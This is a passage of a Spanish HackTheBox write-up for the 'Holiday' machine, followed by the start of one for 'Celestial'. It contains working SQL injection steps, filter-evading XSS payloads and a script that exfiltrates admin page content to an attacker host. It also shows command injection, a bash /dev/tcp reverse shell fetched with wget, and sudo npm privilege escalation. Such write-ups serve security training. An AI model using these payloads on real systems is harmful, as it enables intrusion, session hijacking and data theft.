<p>Podemos observar que para esta consulta el error es distinto otra vez. Ahora se muestra el mensaje de <strong><code class="language-plaintext highlighter-rouge">Incorrect Password</code></strong> y al observar en el campo de username podemos ver el valor reflejado de <strong><code class="language-plaintext highlighter-rouge">RickA</code></strong>. Lo que nos muestra el usuario en uso.  <br />
En base a esto y ya confirmada la vulnerabilidad realizamos un ordenamiento por columnas:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli4.png" alt="sqli3" /></p>

<p>Vemos que se ve el mensaje de <strong><code class="language-plaintext highlighter-rouge">Error Ocurred</code></strong> al realizar un ordenamiento por 5 columnas, Realizaremos esto por 100 columnas para determinar el comportamiento de la web:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli5.png" alt="sqli4" /></p>

<p>Y observamos que seguimos obteniendo el mismo mensaje de error. Por lo que quizás al acertar la columna se muestre otro mensaje como <strong><code class="language-plaintext highlighter-rouge">Incorrect User</code></strong>. Para esto debemos modificar la consulta, como no obtenemos resultados agregamos paréntesis en la consulta por la parte de la comilla y cambiando el numero de las columnas:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli6.png" alt="sqli5" /></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli7.png" alt="sqli6" /></p>

<p>Y vemos que cerrando con doble paréntesis y realizando un ordenamiento por la cuarta columna vemos el mensaje de <strong><code class="language-plaintext highlighter-rouge">Invalid User</code></strong> lo que puede significar que la tabla contiene 4 columnas:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli8.png" alt="sqli7" /></p>

<p>Realizamos la petición con el usuario encontrado para confirmarlo:   <br />
<img src="https://github.com/H4RRIZN/H4RRIZN.github.io/blob/master/_includes/CTFIMG/Holiday/sqli9.png?raw=true" alt="sqli8" /></p>

<h3 id="-obteniendo-información">→ Obteniendo información:</h3>
<p>Ya que confirmamos la cantidad de columnas podemos realizar un ataque de tipo UNION y buscar en donde se refleja el valor de la consulta:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/ccb610b85985183d7f64954d512cdfc97741864e/_includes/CTFIMG/Holiday/union0.png" alt="union0" /></p>

<p>Para este caso el valor 2 se refleja en el valor del campo <strong><code class="language-plaintext highlighter-rouge">username</code></strong>.  Podemos asegurarnos de esto enviando una cadena:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/ccb610b85985183d7f64954d512cdfc97741864e/_includes/CTFIMG/Holiday/union1.png" alt="union1" /></p>

<p>Lo primero antes de continuar es determinar la versión de la base de datos en uso para construir ataques en base a este motor de base de datos. Al probar las variantes para detectar la versión notamos que estamos ante el motor de base de datos SQLite en su versión 3.15.0:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/ccb610b85985183d7f64954d512cdfc97741864e/_includes/CTFIMG/Holiday/union_version.png" alt="union_version" /></p>

<p>Para extraer las tablas de la base de datos en uso realizamos la siguiente consulta:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/ccb610b85985183d7f64954d512cdfc97741864e/_includes/CTFIMG/Holiday/union_tables.png" alt="union_tables" />
Como se ve en la respuesta obtenemos las tablas <strong><code class="language-plaintext highlighter-rouge">username, notes, bookimgs y sessions</code></strong>.</p>

<p>Para extraer las columnas las tablas de la base de datos utilizamos la siguiente consulta. Para este caso será la tabla users:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/ccb610b85985183d7f64954d512cdfc97741864e/_includes/CTFIMG/Holiday/union_columns.png" alt="union_columns" /></p>

<p>Observamos que la tabla contiene las columnas <strong><code class="language-plaintext highlighter-rouge">username</code></strong> y <strong><code class="language-plaintext highlighter-rouge">password</code></strong>.
Para el resto de tablas las columnas son las siguientes:</p>

<table>
  <thead>
    <tr>
      <th>notes</th>
      <th>bookings</th>
      <th>sessions</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>booking_id</td>
      <td>uuid</td>
      <td>expired</td>
    </tr>
    <tr>
      <td>approved</td>
      <td>passengerText</td>
      <td>sess</td>
    </tr>
    <tr>
      <td> </td>
      <td>bookingRef</td>
      <td> </td>
    </tr>
    <tr>
      <td> </td>
      <td>email</td>
      <td> </td>
    </tr>
    <tr>
      <td> </td>
      <td>total</td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>Realizando la siguiente consulta podemos obtener la contraseña del usuario RickA la cual esta hasheada: <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/64bf15df8bb617aeec47f039bd11fdd93755381e/_includes/CTFIMG/Holiday/rickpass.png" alt="rickpass" /></p>

<p>Podemos utilizar un servicio online como crackstation para crackear esta contraseña la cual está en formato MD5:
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/64bf15df8bb617aeec47f039bd11fdd93755381e/_includes/CTFIMG/Holiday/hashcracked.png" alt="hashcrack" /></p>

<p>Y tenemos una contraseña para iniciar sesión la cual es <strong><code class="language-plaintext highlighter-rouge">nevergonnagiveyouup</code></strong> la cual corresponde al usuario RickA. Podemos:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/64bf15df8bb617aeec47f039bd11fdd93755381e/_includes/CTFIMG/Holiday/logwcred.png" alt="logged" /></p>

<p>Posterior al inicio de sesión ingresamos a cualquiera de los <strong><code class="language-plaintext highlighter-rouge">UUID</code></strong> presentes, dentro de estos podemos notar que tenemos la posibilidad de agregar una nota:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/notedetect.png" alt="noteidenf" /></p>

<h2 id="xss--filter-evasion">XSS + Filter Evasion</h2>
<p>Como podemos añadir una nota la cual será revisada por un administrador podemos probar una inyección XSS con el fin de robar la cookie del administrador.</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>alert(1)<span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/query1.png" alt="query1" /></p>

<p>Como apreciamos se esta realizando una filtración de los símbolos <strong><code class="language-plaintext highlighter-rouge">&lt;</code></strong> y <strong><code class="language-plaintext highlighter-rouge">&gt;</code></strong>. Seguiremos experimentando para intentar realizar la evasión. Por ejemplo se probaron payloads con elementos <strong><code class="language-plaintext highlighter-rouge">img</code></strong> y <strong><code class="language-plaintext highlighter-rouge">svg</code></strong>. En el cual el elemento <strong><code class="language-plaintext highlighter-rouge">img</code></strong> no se bloquea:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/querys.png" alt="querys" /></p>

<p>Como sabemos que podemos utilizar el elemento <strong><code class="language-plaintext highlighter-rouge">img</code></strong> intentaremos cargar una imagen, nos pondremos a la escucha con netcat por el puerto 80 para ver como se esta realizando esta petición. Utilizamos el siguiente payload:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="p">=</span><span class="s">"http://10.10.14.3/img.jpg"</span><span class="p">&gt;</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/queryimg.png" alt="queryimg" />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/nc80.png" alt="nc80" /></p>

<p>Como vemos recibimos una petición GET. Ahora intentaremos crear un nuevo payload ya que hemos notado que se eliminan las doble comillas (<strong><code class="language-plaintext highlighter-rouge">””</code></strong>) por lo que intentaremos introducir la etiqueta script dentro estas doble comillas:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="p">=</span><span class="s">"test&gt;&lt;script&gt;alert(1)&lt;/script&gt;"</span><span class="p">&gt;</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/queryimg2.png" alt="queryimg2" /></p>

<p>Podemos ver que efectivamente se eliminaron las doble comillas y a la vez no se han sanitizado los símbolos correspondientes para la etiqueta <strong><code class="language-plaintext highlighter-rouge">script</code></strong>. Para este caso en particular no se ha interpretado la alerta. Pero no podemos descartar que por el lado del administrador que revisa las notas se haya interpretado o no.</p>
<h3 id="cookie-hijacking">Cookie Hijacking</h3>
<p>Como se aprecia a continuación contamos con una cookie de sesión:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/cookieh1.png" alt="cookie" /></p>

<p>La idea será robar la del usuario administrador que valida nuestras notas para suplantar su sesión. Es importante considerar que al momento de realizar la llamada a <strong><code class="language-plaintext highlighter-rouge">document.cookie</code></strong> NO se muestra la cookie de sesión en esta llamada:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/doc.cookie.png" alt="doc.cookie" /></p>

<p>Por lo que el enfoque será enviar un payload el cual redireccione al administrador a un servidor controlado para obtener la cookie y recibirla de la siguiente manera:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;img <span class="nv">src</span><span class="o">=</span><span class="s2">"test&gt;&lt;script&gt;document.location("</span>http://IP/?cookie<span class="o">=</span><span class="s1">' + document.cookie + '</span><span class="s2">")&lt;/script&gt;
</span></code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/querylg1.png" alt="largqry1" /></p>

<p>Observamos que se nos están bloqueando nuevamente los símbolos. Podemos pensar que esto sucede al haber agregado <strong><code class="language-plaintext highlighter-rouge">document.location</code></strong> por lo que modificamos el payload para poder evadir estos filtros. Para este intento reemplazamos <strong><code class="language-plaintext highlighter-rouge">document.location</code></strong> por <strong><code class="language-plaintext highlighter-rouge">document.write</code></strong> de la siguiente forma:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;img <span class="nv">src</span><span class="o">=</span><span class="s2">"test&gt;&lt;script&gt;document.write('&lt;script src="</span>http://10.10.14.3/evil.js<span class="s2">"&gt;&lt;/script&gt;')&lt;/script&gt;"</span><span class="o">&gt;</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/querylg2.png" alt="lrgqry2" /></p>

<p>Nos fijamos que al inicio ya no quita los símbolos pero si nos quita un espacio en la sección interna de <strong><code class="language-plaintext highlighter-rouge">document.write</code></strong> en especifico en <strong><code class="language-plaintext highlighter-rouge">script src</code></strong> lo cual deja como <strong><code class="language-plaintext highlighter-rouge">scriptsrc</code></strong> y luego elimina parte del contenido para volver a filtrar los símbolos. Podemos intentar utilizar funciones como <strong><code class="language-plaintext highlighter-rouge">String.fromCharCode()</code></strong> para realizar la evasión del filtro de caracteres.</p>

<p>En JavaScript, la función <strong><code class="language-plaintext highlighter-rouge">String.fromCharCode()</code></strong> se utiliza para crear una cadena de caracteres a partir de los valores Unicode especificados. Esta función toma uno o más argumentos numéricos y devuelve una cadena que contiene los caracteres correspondientes a esos valores Unicode.</p>

<p>La función <strong><code class="language-plaintext highlighter-rouge">String.fromCharCode()</code></strong> se llama en el contexto de la clase <strong><code class="language-plaintext highlighter-rouge">String</code></strong>. Se utiliza de la siguiente manera:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">valor1</span><span class="p">,</span> <span class="nx">valor2</span><span class="p">,</span> <span class="p">...,</span> <span class="nx">valorN</span><span class="p">);</span>
</code></pre></div></div>

<p>Aquí, <strong><code class="language-plaintext highlighter-rouge">valor1</code></strong>, <strong><code class="language-plaintext highlighter-rouge">valor2</code></strong>, …, <strong><code class="language-plaintext highlighter-rouge">valorN</code></strong> son los valores numéricos de los puntos de código Unicode que se desean convertir en caracteres.</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">65</span><span class="p">);</span>
<span class="nl">Output</span><span class="p">:</span> <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span>
</code></pre></div></div>
<p>En este ejemplo, el valor <strong><code class="language-plaintext highlighter-rouge">65</code></strong> se pasa como argumento a <strong><code class="language-plaintext highlighter-rouge">String.fromCharCode()</code></strong>, lo que devuelve la cadena <strong><code class="language-plaintext highlighter-rouge">"A"</code></strong>, que es el carácter correspondiente al código Unicode <strong><code class="language-plaintext highlighter-rouge">65</code></strong>.
Para esto utilizare la siguiente herramienta para generar un payload de este tipo de manera más eficiente:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/sfccgen.png" alt="sfcc" /></p>

<p>Copiamos el payload resultante y lo fusionamos con el payload anterior de la siguiente forma:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="p">=</span><span class="s">"test&gt;&lt;script&gt;eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,51,47,101,118,105,108,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));&lt;/script&gt;"</span><span class="p">&gt;</span>
</code></pre></div></div>

<p>Lo añadimos y enviamos:
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/sfccquery.png" alt="sfccquery" /></p>

<p>Y nos ponemos en escucha en un servidor con python3 para ver si se efectúa la petición:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/nc80-2.png" alt="nc80-2" /></p>

<p>Y vemos que efectivamente la petición llega.</p>
<h3 id="-fichero-malicioso">→ Fichero malicioso</h3>
<p>El objetivo ahora es almacenar un fichero malicioso con el objetivo de que se solicite como recurso por el usuario administrador con el fin de observar el código fuente de este con el objetivo de buscar algún parámetro distinto con el cual poder robar la cookie:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">req1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="nx">req1</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65</span><span class="dl">'</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
<span class="nx">req1</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>

<span class="kd">var</span> <span class="nx">response</span> <span class="o">=</span> <span class="nx">req1</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span>

<span class="kd">var</span> <span class="nx">req2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="nx">req2</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">http://10.10.14.3:1337/evil</span><span class="dl">'</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">req2</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">text/plain</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">req2</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">response</span><span class="p">);</span>
</code></pre></div></div>
<p>Al almacenar el script en un servidor HTTP con Python3 y ponernos en escucha en este caso en el puerto 1337 con netcat recibimos el código fuente de la web en este caso la que ve el usuario administrador:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/coohiehs.png" alt="cookiehs" /></p>

<p>Podemos notar como se expone un campo oculto “cookie” con el valor de <strong><code class="language-plaintext highlighter-rouge">connect.sid=s%3A1bee6850-7eba-11ee-97fe-c3fb22230dd2.VBSZXnrWknhgjq%2FAelc8T45pbwNd8%2FI%2B54YiIB%2BeIiA</code></strong>.</p>

<p>Reemplazamos este valor en nuestro navegador y notamos que al actualizar la página  <em>impersonamos</em> la cuenta del usuario Admin:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cd43ba2d17b810abfd8473e194c056226851d4ae/_includes/CTFIMG/Holiday/sesshijack.png" alt="adminlog" /></p>

<h2 id="rce">RCE</h2>
<p>Ya que tenemos acceso al panel de administración podemos observar que tenemos la función de  de aprobar las notas:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/noteaprov.png" alt="noteapp" /></p>

<p>Enviaremos una nota de prueba para poder aprobarla y observar como se efectúan estas peticiones:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/addnote.png" alt="testnote" /></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/aprobenotes.png" alt="appnote" /></p>

<p>Al presionar en Approve el flujo del sitio nos muestra la siguiente página:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/noteaprovved.png" alt="noteapproved" /></p>

<p>Vemos que se muestra un apartado para exportar <strong><code class="language-plaintext highlighter-rouge">Bookings</code></strong> y <strong><code class="language-plaintext highlighter-rouge">Notes</code></strong>. Al presionar en cualquiera de estos mientras interceptamos la petición con BurpSuite vemos lo siguiente:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/burp-booking.png" alt="burpbook" /></p>

<p>Al seguir la petición se descarga un fichero con los <strong><code class="language-plaintext highlighter-rouge">Bookings</code></strong>. Intentamos modificar el parámetro bookings con algún símbolo para detectar cambios en el flujo:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/burp-booking-m.png" alt="bookparam" /></p>

<p>Vemos que al agregar el símbolo <strong><code class="language-plaintext highlighter-rouge">&lt;</code></strong> se produce un error el cual nos revela que solo se aceptan los caracteres del siguiente rango: <strong><code class="language-plaintext highlighter-rouge">[a-z0-9&amp;\s\/]</code></strong>. En ciertas ocasiones el símbolo o carácter <strong><code class="language-plaintext highlighter-rouge">&amp;</code></strong> se utiliza para concatenar comandos, por lo que intentamos aprovecharnos de este para probar inyectar un comando:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/burp-id.png" alt="idtest" /></p>

<p>No parece funcionar, así que lo transformamos en formato URL el cual corresponde a %26:     <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/burp-hexid.png" alt="urlid" /></p>

<p>Y como se aprecia tenemos ejecución de comandos. Nos aprovecharemos de esto para ejecutar una reverse shell.</p>

<h3 id="shell-as-algernon">Shell as algernon</h3>
<p>Ya que tenemos una forma de ejecutar código intentaremos depositar un script en bash para realizar el proceso de reverse shell. Primero veremos si contamos con wget para descargar ficheros:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/burpwget.png" alt="wget?" /></p>

<p>Y contamos con wget para descargar ficheros, tomemos en cuenta que se agrego <strong><code class="language-plaintext highlighter-rouge">%20</code></strong> lo que representa un espacio. Depositaremos el siguiente script y lo compartiremos con un servidor simple de python para descargarlo utilizando wget:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

bash <span class="nt">-c</span> <span class="s2">"bash -i &gt;&amp; /dev/tcp/&lt;IP&gt;/&lt;PORT&gt; 0&gt;&amp;1"</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/rev.png" alt="bashrev" /></p>

<p>Ahora utilizamos wget para descargar el script. Pero nos encontramos con el primer problema el cual es el formato de la IP sabemos que tenemos caracteres restringidos entonces no podemos utilizar puntos.
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/wgetrev.png" alt="fail1" /></p>

<p>Podemos utilizar el siguiente <a href="https://github.com/H4RRIZN/IP_Converter">script</a> para convertir una dirección IP en distintos formatos con el cual podríamos aprovecharnos:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/ipconverter.png" alt="ipconv" /></p>

<p>Como se aprecia podríamos utilizar el formato Decimal y Hexadecimal entregado por el script. Se evidencia que si se realiza un ping a uno de estos se resuelve la dirección IP ingresada en el script. Vamos a probarlo:        <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/wgetip.png" alt="wgetip" /></p>

<p>Vemos que tenemos un código de estado 200, comprobamos que el script se descargo ejecutando <strong><code class="language-plaintext highlighter-rouge">ls</code></strong>:     <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/lsrev.png" alt="ls" /></p>

<p>Desde ya nos ponemos en escucha con <strong><code class="language-plaintext highlighter-rouge">netcat</code></strong> en el puerto indicado en el script. Para este caso es el 443:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/nc443.png" alt="ncl" /></p>

<p>Ejecutamos el script:      <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/bashrev.png" alt="revexec" /></p>

<p>Y ganamos acceso:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/d375c446f1ef912200523516bcaafd17c9290323/_includes/CTFIMG/Holiday/ncok.png" alt="algerpwn" /></p>

<h2 id="privesc">Privesc</h2>
<p>Para escalar privilegios podemos verificar que comandos podemos ejecutar como sudo con <strong><code class="language-plaintext highlighter-rouge">sudo -l</code></strong>:     <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/7e052929aea58df28e0ca89d1dc55332b538c3dc/_includes/CTFIMG/Holiday/sudol.png" alt="sudol" /></p>

<p>Y podemos ejecutar el comando <strong><code class="language-plaintext highlighter-rouge">npm i</code></strong> como sudo. Aprovecharnos del <a href="https://gtfobins.github.io/gtfobins/npm/#sudo">siguiente</a> recurso que nos explica como poder elevar privilegios.
Según las instrucciones debemos ejecutar la siguiente serie de comandos:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TF</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s1">'{"scripts": {"preinstall": "/bin/sh"}}'</span> <span class="o">&gt;</span> <span class="nv">$TF</span>/package.json
<span class="nb">sudo </span>npm <span class="nt">-C</span> <span class="nv">$TF</span> <span class="nt">--unsafe-perm</span> i
</code></pre></div></div>
<p>Debemos adecuarlo a la ruta especificada:
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/7e052929aea58df28e0ca89d1dc55332b538c3dc/_includes/CTFIMG/Holiday/root.png" alt="rootpwn" /></p>

<p>Con esto ya podemos leer las flags y resolveremos el laboratorio.</p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Web" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Celestial - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/03/16/htb-celestial.html" rel="alternate" type="text/html" title="Celestial - HackTheBox Writeup" /><published>2024-03-16T00:00:00+00:00</published><updated>2024-03-16T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/03/16/htb-celestial</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/03/16/htb-celestial.html"><![CDATA[<p><img src="https://i.imgur.com/yv65Ax1.png" alt="altered" /></p>

<h2 id="reconocimiento-inicial">Reconocimiento inicial</h2>
<p>Como siempre comenzamos con un scan para detectar los puertos abiertos en el host victima:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sS</span> <span class="nt">--min-rate</span> 1500 <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-n</span> <span class="nt">-Pn</span> 10.10.10.85
</code></pre></div></div>
<p><img src="https://i.imgur.com/EyTBkW7.png" alt="nmap1" /></p>

<p>Como se aprecia solo se encuentra el puerto 3000 abierto. Realzamos otro scan para obtener los servicios y versiones que se están utilizando en ese puerto:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sCV</span> <span class="nt">-p3000</span> 10.10.10.85
</code></pre></div></div>
<p><img src="https://i.imgur.com/KfYp1jD.png" alt="nmap2" /></p>

<p>Y observamos que corresponde a un servicio web en el cual se esta utilizando <strong><code class="language-plaintext highlighter-rouge">Node.js Express framework</code>.</strong> Con esto presente ingresamos a la web para visualizar el contenido de esta.</p>
<h2 id="reconocimiento-web">Reconocimiento web</h2>
<p>Vemos que al ingresar se muestra el mensaje <strong><code class="language-plaintext highlighter-rouge">Hey Dummy 2+2 is 22</code></strong>:
<img src="https://i.imgur.com/LgWHvxt.png" alt="web1" />
Luego de enumerar un poco notamos que la web no tiene nada más que esto. Observando las cookies de sesión encontramos un valor parecido a un <strong><code class="language-plaintext highlighter-rouge">JWT</code></strong> pero en realidad es un valor en base64 ya que no contiene los puntos de la firma de un <strong><code class="language-plaintext highlighter-rouge">JWT</code></strong> normal:  <br />
<img src="https://i.imgur.com/Knw19a1.png" alt="fakejwt" />
Al decodificar el valor en base64 notamos que es un objeto que esta serializado:   <br />
<img src="https://i.imgur.com/1xXTIhm.png" alt="modifiedparam" />
Si tomamos estos valores y los modificamos como por ejemplo el valor de <strong><code class="language-plaintext highlighter-rouge">username</code></strong> y lo enviamos en la cookie de sesión podemos ver que efectivamente cambian:   <br />
<img src="https://i.imgur.com/bX1FGtA.png" alt="changeok" />
<img src="https://i.imgur.com/Z0tQV3Q.png" alt="changed" /></p>
<h3 id="node-js-deserialization-attack">Node JS Deserialization Attack</h3>
<p>Buscando damos con el siguiente post:   <br />
<a href="https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/">Exploiting Node.js deserialization bug for Remote Code Execution</a></p>

<p>El cual explica un método en el cual es posible realizar una ejecución remota de comandos mediante la explotación de deserialización insegura en node.js. En el cual se nos explica que:</p>
<blockquote>
